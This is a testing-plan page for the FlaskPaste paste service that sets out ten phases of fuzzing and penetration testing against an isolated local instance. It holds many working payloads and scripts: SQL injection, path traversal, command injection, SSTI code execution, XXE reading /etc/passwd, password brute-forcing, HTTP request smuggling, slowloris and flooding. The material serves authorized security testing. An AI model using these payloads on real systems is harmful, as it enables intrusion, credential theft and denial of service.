Some checks failed
CI / Lint & Format (push) Failing after 16s
CI / Unit Tests (push) Has been skipped
CI / Memory Leak Check (push) Has been skipped
CI / SBOM Generation (push) Has been skipped
CI / Security Scan (push) Failing after 21s
CI / Security Tests (push) Has been skipped
- FUZZING.md: comprehensive attack methodology covering 10 phases - tests/fuzz/run_fuzz.py: automated fuzzing harness with 6 test phases Phases: recon, input fuzzing, injection (SQLi, SSTI, path traversal, command injection), auth bypass, business logic, crypto attacks. Includes: radamsa mutations, hypothesis property testing, atheris coverage-guided fuzzing, HTTP smuggling, slowloris, nuclei templates.
27 KiB
27 KiB
Offensive Security Testing Plan
Comprehensive fuzzing and penetration testing for FlaskPaste. No restrictions. Break everything.
Test Environment Setup
Isolated Instance
# Create isolated workspace
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}
# Environment for isolated instance
export FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db"
export FLASKPASTE_SECRET_KEY="fuzz-$(openssl rand -hex 16)"
export FLASKPASTE_PKI_PASSWORD="fuzz-pki-password"
export FLASKPASTE_REGISTRATION_ENABLED=true
export FLASKPASTE_POW_DIFFICULTY=1
export FLASKPASTE_RATE_LIMIT_ENABLED=false
export FLASKPASTE_PROXY_SECRET=""
export FLASK_ENV=development
export FLASK_DEBUG=0
# Start isolated instance
cd /home/user/git/flaskpaste
./venv/bin/python run.py --host 127.0.0.1 --port 5099 2>&1 | tee "$FUZZ_DIR/logs/server.log" &
FUZZ_PID=$!
echo $FUZZ_PID > "$FUZZ_DIR/server.pid"
# Target
export TARGET="http://127.0.0.1:5099"
Teardown
kill $(cat "$FUZZ_DIR/server.pid") 2>/dev/null
rm -rf "$FUZZ_DIR"
Attack Surface
Endpoints
┌────────────────────────┬─────────────────┬─────────────────────────────────┐
│ Endpoint │ Methods │ Auth Required
├────────────────────────┼─────────────────┼─────────────────────────────────┤
│ / │ GET, POST │ PoW for POST
│ /health │ GET │ No
│ /challenge │ GET │ No
│ /client │ GET │ No
│ /register/challenge │ GET │ No
│ /register │ POST │ PoW
│ /pastes │ GET │ Client cert
│ /<paste_id> │ GET, HEAD, PUT │ Optional password
│ /<paste_id>/raw │ GET, HEAD │ Optional password
│ /<paste_id> │ DELETE │ Client cert + ownership
│ /pki │ GET │ No
│ /pki/ca │ POST │ PKI password
│ /pki/ca.crt │ GET │ No
│ /pki/issue │ POST │ Admin cert
│ /pki/certs │ GET │ Admin cert
│ /pki/revoke/<serial> │ POST │ Admin cert
│ /audit │ GET │ Admin cert
└────────────────────────┴─────────────────┴─────────────────────────────────┘
Input Vectors
Headers:
X-Forwarded-For- IP spoofingX-Forwarded-Proto,X-Scheme- Protocol injectionX-Forwarded-Host,Host- Host header injectionX-Paste-Password- Password bypassX-Proxy-Secret- Auth bypassX-SSL-Client-SHA1- Cert fingerprint spoofingX-PoW-Token,X-PoW-Solution- PoW bypassX-Burn-After-Read- Logic manipulationX-Expiry- Time-based attacksX-Remove-Password,X-Extend-Expiry- State manipulationContent-Type- Parser confusion
Query Parameters:
limit,offset- Integer overflow, negative valuestype,owner,event_type- Injectionafter,before,since,until- Time manipulationall- Authorization bypassclient_id,paste_id,outcome- ID enumeration
URL Parameters:
paste_id- Path traversal, injection, enumerationserial- Certificate serial injection
Body:
- Raw bytes - Binary injection, null bytes
- JSON - Type confusion, nested objects
- Malformed encoding - UTF-8 attacks
Phase 1: Reconnaissance & Enumeration
Directory/Endpoint Fuzzing
# Install tools
pip install httpx aiohttp
# ffuf - fast web fuzzer
# Install: go install github.com/ffuf/ffuf/v2@latest
ffuf -u "$TARGET/FUZZ" -w /usr/share/wordlists/dirb/common.txt \
-mc all -fc 404 -o "$FUZZ_DIR/results/endpoints.json"
# Hidden endpoints
ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
-mc 200,201,301,302,400,401,403,405,500 -o "$FUZZ_DIR/results/hidden.json"
# API versioning
for v in v1 v2 v3 api api/v1 api/v2 _api internal debug admin; do
curl -s -o /dev/null -w "%{http_code} /$v\n" "$TARGET/$v"
done
Paste ID Enumeration
# Sequential IDs
for i in $(seq 1 1000); do
curl -s -o /dev/null -w "%{http_code} $i\n" "$TARGET/$i"
done | grep -v "^404"
# Common patterns
for id in test admin root debug null undefined NaN 0 -1 '' ' '; do
curl -s -o /dev/null -w "%{http_code} '$id'\n" "$TARGET/$id"
done
Phase 2: Input Fuzzing
HTTP Method Fuzzing
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT \
PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK; do
for endpoint in / /health /challenge /pastes /pki /audit; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$TARGET$endpoint")
echo "$code $method $endpoint"
done
done | sort -u
Header Injection
# Host header poisoning
curl -v "$TARGET/" -H "Host: evil.com"
curl -v "$TARGET/" -H "X-Forwarded-Host: evil.com"
curl -v "$TARGET/" -H "X-Forwarded-For: 127.0.0.1"
curl -v "$TARGET/" -H "X-Forwarded-For: ' OR 1=1--"
# Proxy secret brute force
for secret in '' admin password secret proxy 123456 test; do
curl -s -o /dev/null -w "%{http_code} '$secret'\n" \
"$TARGET/pastes" -H "X-Proxy-Secret: $secret"
done
# Fake client cert fingerprint
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: 0000000000000000000000000000000000000000"
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ' OR 1=1--"
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ../../../etc/passwd"
PoW Bypass Attempts
# Empty/malformed tokens
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: " -H "X-PoW-Solution: "
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: invalid" -H "X-PoW-Solution: 0"
# Negative solution
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: $(curl -s $TARGET/challenge | jq -r .token)" \
-H "X-PoW-Solution: -1"
# Overflow
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: test" \
-H "X-PoW-Solution: 99999999999999999999999999999999"
# Token reuse (race condition)
TOKEN=$(curl -s "$TARGET/challenge" | jq -r .token)
# Solve it, then try to reuse
Content-Type Confusion
# JSON body with wrong content-type
curl -X POST "$TARGET/" -d '{"content":"test"}' \
-H "Content-Type: application/json"
curl -X POST "$TARGET/" -d '{"content":"test"}' \
-H "Content-Type: text/plain"
curl -X POST "$TARGET/" -d '{"content":"test"}' \
-H "Content-Type: application/x-www-form-urlencoded"
# Multipart confusion
curl -X POST "$TARGET/" -F "file=@/etc/passwd" \
-H "Content-Type: multipart/form-data"
# XML injection attempt
curl -X POST "$TARGET/" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' \
-H "Content-Type: application/xml"
Phase 3: Injection Attacks
SQL Injection
# Paste ID injection
SQLI_PAYLOADS=(
"' OR '1'='1"
"1' OR '1'='1'--"
"1; DROP TABLE pastes;--"
"1 UNION SELECT * FROM users--"
"1' AND SLEEP(5)--"
"1' AND (SELECT COUNT(*) FROM sqlite_master)>0--"
"1/**/OR/**/1=1"
"1' OR ''='"
)
for payload in "${SQLI_PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
curl -s -o /dev/null -w "%{http_code} %{time_total}s $payload\n" "$TARGET/$encoded"
done
# Header injection
for payload in "${SQLI_PAYLOADS[@]}"; do
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
"$TARGET/pastes" -H "X-SSL-Client-SHA1: $payload"
done
# sqlmap automated
sqlmap -u "$TARGET/FUZZ" --batch --level=5 --risk=3 \
--technique=BEUSTQ --dbms=sqlite \
-o --output-dir="$FUZZ_DIR/results/sqlmap"
Path Traversal
TRAVERSAL_PAYLOADS=(
"../../../etc/passwd"
"....//....//....//etc/passwd"
"..%2f..%2f..%2fetc/passwd"
"..%252f..%252f..%252fetc/passwd"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
"....\/....\/....\/etc/passwd"
"..;/..;/..;/etc/passwd"
"..//..//..//etc/passwd"
)
for payload in "${TRAVERSAL_PAYLOADS[@]}"; do
curl -s -o /dev/null -w "%{http_code} $payload\n" "$TARGET/$payload"
curl -s -o /dev/null -w "%{http_code} $payload (raw)\n" "$TARGET/$payload/raw"
done
Command Injection
CMD_PAYLOADS=(
"; ls -la"
"| cat /etc/passwd"
"\$(cat /etc/passwd)"
"\`cat /etc/passwd\`"
"|| cat /etc/passwd"
"&& cat /etc/passwd"
"; sleep 10"
"| sleep 10"
)
for payload in "${CMD_PAYLOADS[@]}"; do
# In paste content
curl -s -X POST "$TARGET/" -d "$payload" -o /dev/null -w "%{time_total}s\n"
# In headers
curl -s "$TARGET/" -H "X-Forwarded-For: $payload" -o /dev/null
done
SSTI (Server-Side Template Injection)
SSTI_PAYLOADS=(
"{{7*7}}"
"{{config}}"
"{{self.__class__.__mro__[2].__subclasses__()}}"
"${7*7}"
"<%= 7*7 %>"
"{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
)
for payload in "${SSTI_PAYLOADS[@]}"; do
# Create paste with SSTI payload
response=$(curl -s -X POST "$TARGET/" -d "$payload" \
-H "X-PoW-Token: test" -H "X-PoW-Solution: 0")
echo "$response" | grep -q "49" && echo "SSTI CONFIRMED: $payload"
done
Phase 4: Authentication & Authorization
Certificate Fingerprint Attacks
# Fingerprint enumeration
for i in $(seq -w 00 ff); do
fp="${i}00000000000000000000000000000000000000"
code=$(curl -s -o /dev/null -w "%{http_code}" \
"$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp")
[ "$code" != "401" ] && echo "Hit: $fp -> $code"
done
# Known weak fingerprints
WEAK_FPS=(
"0000000000000000000000000000000000000000"
"da39a3ee5e6b4b0d3255bfef95601890afd80709" # SHA1 of empty
"ffffffffffffffffffffffffffffffffffffffff"
)
for fp in "${WEAK_FPS[@]}"; do
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp"
done
Admin Privilege Escalation
# Try to issue certs without admin
curl -X POST "$TARGET/pki/issue" \
-H "Content-Type: application/json" \
-d '{"common_name": "hacker"}'
# Try to access audit without admin
curl "$TARGET/audit"
# Certificate serial manipulation
curl -X POST "$TARGET/pki/revoke/1"
curl -X POST "$TARGET/pki/revoke/-1"
curl -X POST "$TARGET/pki/revoke/999999999999"
curl -X POST "$TARGET/pki/revoke/../../../"
Password Protection Bypass
# Create password-protected paste, try to bypass
PASTE_ID="test123"
# Timing attack on password check
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{time_total}\n" \
"$TARGET/$PASTE_ID" -H "X-Paste-Password: wrong$i"
done | sort -n
# Empty password
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: "
# Null byte injection
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: correct%00garbage"
Phase 5: Business Logic Attacks
Race Conditions
# Concurrent paste creation with same content (dedup bypass)
for i in $(seq 1 100); do
curl -s -X POST "$TARGET/" -d "race-test-content" &
done
wait
# Burn-after-read race
PASTE_ID="burn-test"
# Create burn paste, then race to read multiple times
for i in $(seq 1 50); do
curl -s "$TARGET/$PASTE_ID" &
done
wait
# Rate limit race
for i in $(seq 1 200); do
curl -s -X POST "$TARGET/" -d "rate-limit-test-$i" &
done
wait
Expiry Manipulation
# Negative expiry
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -1"
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -999999999"
# Overflow expiry
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 999999999999999999"
# Time travel
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 0"
# Extend beyond limits
curl -X PUT "$TARGET/test-paste" -H "X-Extend-Expiry: 999999999"
Resource Exhaustion
# Large paste (memory exhaustion)
dd if=/dev/urandom bs=1M count=100 | curl -X POST "$TARGET/" --data-binary @-
# Many small pastes (DB exhaustion)
for i in $(seq 1 10000); do
curl -s -X POST "$TARGET/" -d "flood-$i" &
[ $((i % 100)) -eq 0 ] && wait
done
# Deep recursion in JSON
python3 -c "print('{' * 1000 + '\"a\":1' + '}' * 1000)" | \
curl -X POST "$TARGET/pki/ca" -H "Content-Type: application/json" -d @-
Phase 6: Cryptographic Attacks
PoW Token Analysis
# Collect tokens for pattern analysis
for i in $(seq 1 1000); do
curl -s "$TARGET/challenge" | jq -r .token >> "$FUZZ_DIR/results/tokens.txt"
done
# Analyze randomness
python3 << 'EOF'
import base64
import collections
with open("/tmp/flaskpaste-fuzz/results/tokens.txt") as f:
tokens = [line.strip() for line in f]
# Check for patterns
for i, t in enumerate(tokens[:-1]):
if t == tokens[i+1]:
print(f"DUPLICATE TOKEN at {i}: {t}")
# Byte distribution
all_bytes = b''.join(base64.b64decode(t) for t in tokens if t)
dist = collections.Counter(all_bytes)
print(f"Byte distribution entropy: {len(dist)}/256")
EOF
Timing Attacks
# Password comparison timing
python3 << 'EOF'
import requests
import statistics
import time
target = "http://127.0.0.1:5099"
paste_id = "test-timing"
# Measure response times for different password lengths
results = {}
for length in range(1, 20):
password = "a" * length
times = []
for _ in range(100):
start = time.perf_counter()
requests.get(f"{target}/{paste_id}", headers={"X-Paste-Password": password})
times.append(time.perf_counter() - start)
results[length] = statistics.mean(times)
print(f"Length {length}: {results[length]*1000:.3f}ms")
# Look for timing differences
EOF
Certificate Attacks
# Generate malformed certificates
openssl ecparam -name secp384r1 -genkey -out "$FUZZ_DIR/bad.key"
# Self-signed with weird parameters
openssl req -new -x509 -key "$FUZZ_DIR/bad.key" -out "$FUZZ_DIR/bad.crt" \
-days 1 -subj "/CN='; DROP TABLE certificates;--"
# Try to register with malformed cert
curl -X POST "$TARGET/register" \
--cert "$FUZZ_DIR/bad.crt" --key "$FUZZ_DIR/bad.key"
# PKI password brute force
COMMON_PASSWORDS=(
"" "password" "admin" "123456" "pki" "secret"
"flaskpaste" "certificate" "ca" "root"
)
for pw in "${COMMON_PASSWORDS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/pki/ca" \
-H "Content-Type: application/json" \
-d "{\"password\": \"$pw\"}")
echo "$code $pw"
done
Phase 7: Advanced Fuzzing
Radamsa Mutations
# Install radamsa
# git clone https://gitlab.com/akihe/radamsa && cd radamsa && make && sudo make install
# Generate mutated inputs
echo "normal paste content" > "$FUZZ_DIR/seed.txt"
for i in $(seq 1 1000); do
radamsa "$FUZZ_DIR/seed.txt" | curl -s -X POST "$TARGET/" \
--data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
done | sort | uniq -c
# Mutate JSON
echo '{"common_name": "test"}' > "$FUZZ_DIR/seed.json"
for i in $(seq 1 1000); do
radamsa "$FUZZ_DIR/seed.json" | curl -s -X POST "$TARGET/pki/ca" \
-H "Content-Type: application/json" \
--data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
done | sort | uniq -c
AFL++ (if Python can be instrumented)
# Python AFL instrumentation (experimental)
pip install python-afl
# Create harness
cat > "$FUZZ_DIR/harness.py" << 'HARNESS'
import afl
import sys
sys.path.insert(0, '/home/user/git/flaskpaste')
from app import create_app
app = create_app()
afl.init()
with app.test_client() as client:
data = sys.stdin.buffer.read()
try:
client.post('/', data=data)
except Exception:
pass
HARNESS
# Run AFL
# py-afl-fuzz -i "$FUZZ_DIR/seeds" -o "$FUZZ_DIR/afl-out" -- python "$FUZZ_DIR/harness.py"
Hypothesis Property Testing
cat > "$FUZZ_DIR/hypothesis_fuzz.py" << 'HYPO'
import hypothesis
from hypothesis import given, strategies as st, settings
import requests
import os
TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
@settings(max_examples=10000, deadline=None)
@given(st.binary(min_size=0, max_size=10000))
def test_paste_content(content):
"""Fuzz paste content with arbitrary bytes."""
try:
r = requests.post(TARGET + "/", data=content, timeout=5)
assert r.status_code in (201, 400, 413, 429, 503)
except requests.exceptions.RequestException:
pass
@settings(max_examples=10000, deadline=None)
@given(st.text(min_size=0, max_size=1000))
def test_paste_id(paste_id):
"""Fuzz paste ID retrieval."""
try:
r = requests.get(f"{TARGET}/{paste_id}", timeout=5)
assert r.status_code in (200, 400, 404, 410)
except requests.exceptions.RequestException:
pass
@settings(max_examples=5000, deadline=None)
@given(
st.dictionaries(
st.text(min_size=1, max_size=50),
st.one_of(st.text(), st.integers(), st.floats(), st.none(), st.booleans()),
min_size=0, max_size=20
)
)
def test_pki_json(data):
"""Fuzz PKI endpoints with arbitrary JSON."""
try:
r = requests.post(
TARGET + "/pki/ca",
json=data,
timeout=5
)
assert r.status_code in (200, 201, 400, 401, 403, 409, 500)
except requests.exceptions.RequestException:
pass
@settings(max_examples=5000, deadline=None)
@given(st.dictionaries(st.text(), st.text(), min_size=0, max_size=30))
def test_arbitrary_headers(headers):
"""Fuzz with arbitrary headers."""
safe_headers = {k[:100]: v[:1000] for k, v in headers.items()
if k and not k.lower().startswith(('host', 'content-length'))}
try:
r = requests.get(TARGET + "/", headers=safe_headers, timeout=5)
except requests.exceptions.RequestException:
pass
if __name__ == "__main__":
test_paste_content()
test_paste_id()
test_pki_json()
test_arbitrary_headers()
HYPO
pip install hypothesis requests
python "$FUZZ_DIR/hypothesis_fuzz.py"
Atheris (LibFuzzer for Python)
cat > "$FUZZ_DIR/atheris_fuzz.py" << 'ATHERIS'
import atheris
import sys
with atheris.instrument_imports():
sys.path.insert(0, '/home/user/git/flaskpaste')
from app import create_app
from app.database import init_db
import tempfile
import os
# Create isolated app
tmpdir = tempfile.mkdtemp()
os.environ['FLASKPASTE_DATABASE'] = f'{tmpdir}/fuzz.db'
app = create_app()
def TestOneInput(data):
with app.test_client() as client:
fdp = atheris.FuzzedDataProvider(data)
# Fuzz endpoint
endpoint = fdp.ConsumeUnicodeNoSurrogates(100)
method = fdp.PickValueInList(['GET', 'POST', 'PUT', 'DELETE', 'HEAD'])
body = fdp.ConsumeBytes(fdp.remaining_bytes())
try:
if method == 'GET':
client.get(f'/{endpoint}')
elif method == 'POST':
client.post(f'/{endpoint}', data=body)
elif method == 'PUT':
client.put(f'/{endpoint}', data=body)
elif method == 'DELETE':
client.delete(f'/{endpoint}')
elif method == 'HEAD':
client.head(f'/{endpoint}')
except Exception:
pass
if __name__ == "__main__":
atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
ATHERIS
pip install atheris
python "$FUZZ_DIR/atheris_fuzz.py" -max_len=10000 -runs=100000
Phase 8: Protocol-Level Attacks
HTTP Smuggling
# CL.TE smuggling attempt
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | \
nc 127.0.0.1 5099
# TE.CL smuggling attempt
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
nc 127.0.0.1 5099
# Double Content-Length
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 5\r\nContent-Length: 100\r\n\r\nHELLO' | \
nc 127.0.0.1 5099
HTTP/2 Attacks (if applicable)
# h2c smuggling
curl --http2 "$TARGET/"
curl --http2-prior-knowledge "$TARGET/"
# HPACK bomb
# Requires specialized tools
Slowloris / Slow POST
# Slow headers
python3 << 'EOF'
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 5099))
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\n")
for i in range(100):
sock.send(f"X-Header-{i}: {'A'*100}\r\n".encode())
time.sleep(1)
print(f"Sent header {i}")
EOF
# Slow body
python3 << 'EOF'
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 5099))
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 1000000\r\n\r\n")
for i in range(1000):
sock.send(b"A")
time.sleep(0.1)
print(f"Sent byte {i}")
EOF
Phase 9: Specialized Tools
Nuclei Templates
# Install nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Run all templates
nuclei -u "$TARGET" -t nuclei-templates/ -o "$FUZZ_DIR/results/nuclei.txt"
# Custom template for FlaskPaste
cat > "$FUZZ_DIR/flaskpaste.yaml" << 'TEMPLATE'
id: flaskpaste-pow-bypass
info:
name: FlaskPaste PoW Bypass
severity: high
requests:
- method: POST
path:
- "{{BaseURL}}/"
headers:
X-PoW-Token: "invalid"
X-PoW-Solution: "0"
body: "test"
matchers:
- type: status
status:
- 201
TEMPLATE
nuclei -u "$TARGET" -t "$FUZZ_DIR/flaskpaste.yaml"
Burp Suite / ZAP Automation
# OWASP ZAP API scan
docker run -t owasp/zap2docker-stable zap-api-scan.py \
-t "$TARGET" -f openapi -r "$FUZZ_DIR/results/zap-report.html"
# ZAP baseline scan
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t "$TARGET" -r "$FUZZ_DIR/results/zap-baseline.html"
Custom Python Fuzzer
#!/usr/bin/env python3
"""Comprehensive FlaskPaste fuzzer."""
import asyncio
import aiohttp
import random
import string
import hashlib
import json
import os
from pathlib import Path
TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
RESULTS_DIR = Path(os.environ.get("FUZZ_DIR", "/tmp/flaskpaste-fuzz")) / "results"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
# Payload generators
def random_bytes(n):
return bytes(random.getrandbits(8) for _ in range(n))
def random_string(n):
return ''.join(random.choices(string.printable, k=n))
def null_bytes():
return b'\x00' * random.randint(1, 100)
def unicode_bombs():
return random.choice([
'\u202e' * 100, # RTL override
'\ufeff' * 100, # BOM
'\u0000' * 100, # Null
'A\u0300' * 100, # Combining chars
'\U0001F4A9' * 100, # Emoji
])
async def fuzz_endpoint(session, method, path, **kwargs):
try:
async with session.request(method, f"{TARGET}{path}", **kwargs, timeout=5) as r:
return r.status, await r.text()
except Exception as e:
return None, str(e)
async def fuzz_paste_creation(session):
"""Fuzz paste creation with various payloads."""
payloads = [
random_bytes(random.randint(1, 10000)),
null_bytes(),
unicode_bombs().encode(),
b'A' * 100_000_000, # 100MB
json.dumps({"nested": {"deep": {"structure": True}}}).encode(),
b'<?xml version="1.0"?><!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>',
]
for payload in payloads:
status, body = await fuzz_endpoint(session, 'POST', '/', data=payload)
if status and status not in (201, 400, 413, 429, 503):
print(f"UNEXPECTED: POST / -> {status}")
with open(RESULTS_DIR / "anomalies.log", "a") as f:
f.write(f"POST / payload={payload[:100]!r} status={status}\n")
async def fuzz_headers(session):
"""Fuzz with malicious headers."""
headers_payloads = [
{"X-Forwarded-For": "' OR 1=1--"},
{"X-SSL-Client-SHA1": "../../../etc/passwd"},
{"X-PoW-Token": "A" * 10000},
{"X-Expiry": "-1"},
{"X-Expiry": "99999999999999999999"},
{"Host": "evil.com\r\nX-Injected: true"},
{"Content-Type": "text/html; charset=utf-8\r\nX-Injected: true"},
]
for headers in headers_payloads:
status, body = await fuzz_endpoint(session, 'GET', '/', headers=headers)
if "X-Injected" in body:
print(f"HEADER INJECTION FOUND: {headers}")
async def fuzz_path_traversal(session):
"""Fuzz for path traversal."""
paths = [
"/../../../etc/passwd",
"/....//....//....//etc/passwd",
"/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"/..%252f..%252f..%252fetc/passwd",
"/<script>alert(1)</script>",
"/{{7*7}}",
"/${7*7}",
]
for path in paths:
status, body = await fuzz_endpoint(session, 'GET', path)
if status == 200 and ("root:" in body or "49" in body or "alert" in body):
print(f"VULNERABILITY FOUND: {path}")
async def main():
async with aiohttp.ClientSession() as session:
await asyncio.gather(
fuzz_paste_creation(session),
fuzz_headers(session),
fuzz_path_traversal(session),
)
if __name__ == "__main__":
asyncio.run(main())
Phase 10: Crash Analysis
Monitor for Crashes
# Watch server logs for errors
tail -f "$FUZZ_DIR/logs/server.log" | grep -iE "error|exception|traceback|crash|segfault" | \
tee "$FUZZ_DIR/crashes/errors.log"
# Monitor process
while true; do
if ! kill -0 $(cat "$FUZZ_DIR/server.pid") 2>/dev/null; then
echo "SERVER CRASHED at $(date)" >> "$FUZZ_DIR/crashes/crash.log"
# Restart and continue
cd /home/user/git/flaskpaste
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
echo $! > "$FUZZ_DIR/server.pid"
fi
sleep 1
done
Reproduce Crashes
# Replay payloads that caused issues
for payload in "$FUZZ_DIR/crashes"/*.payload; do
echo "Replaying: $payload"
curl -X POST "$TARGET/" --data-binary "@$payload" -v
done
Results Collection
Summary Report
cat > "$FUZZ_DIR/generate_report.sh" << 'REPORT'
#!/bin/bash
echo "# FlaskPaste Fuzzing Results"
echo "Generated: $(date)"
echo ""
echo "## Statistics"
echo "- Total requests: $(wc -l < "$FUZZ_DIR/logs/server.log" 2>/dev/null || echo 0)"
echo "- Crashes detected: $(wc -l < "$FUZZ_DIR/crashes/crash.log" 2>/dev/null || echo 0)"
echo "- Anomalies: $(wc -l < "$FUZZ_DIR/results/anomalies.log" 2>/dev/null || echo 0)"
echo ""
echo "## Findings"
cat "$FUZZ_DIR/results/anomalies.log" 2>/dev/null
echo ""
echo "## Tool Results"
for f in "$FUZZ_DIR/results"/*.txt "$FUZZ_DIR/results"/*.json; do
[ -f "$f" ] && echo "### $(basename $f)" && head -50 "$f"
done
REPORT
chmod +x "$FUZZ_DIR/generate_report.sh"
Quick Start
# One-liner to run everything
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
export TARGET="http://127.0.0.1:5099"
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}
# Start server
cd /home/user/git/flaskpaste
FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db" \
FLASKPASTE_POW_DIFFICULTY=1 \
FLASKPASTE_RATE_LIMIT_ENABLED=false \
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
# Run fuzzing phases
sleep 2
./fuzz-phase1.sh # Recon
./fuzz-phase2.sh # Input fuzzing
./fuzz-phase3.sh # Injection
# ... etc
# Generate report
./generate_report.sh > "$FUZZ_DIR/REPORT.md"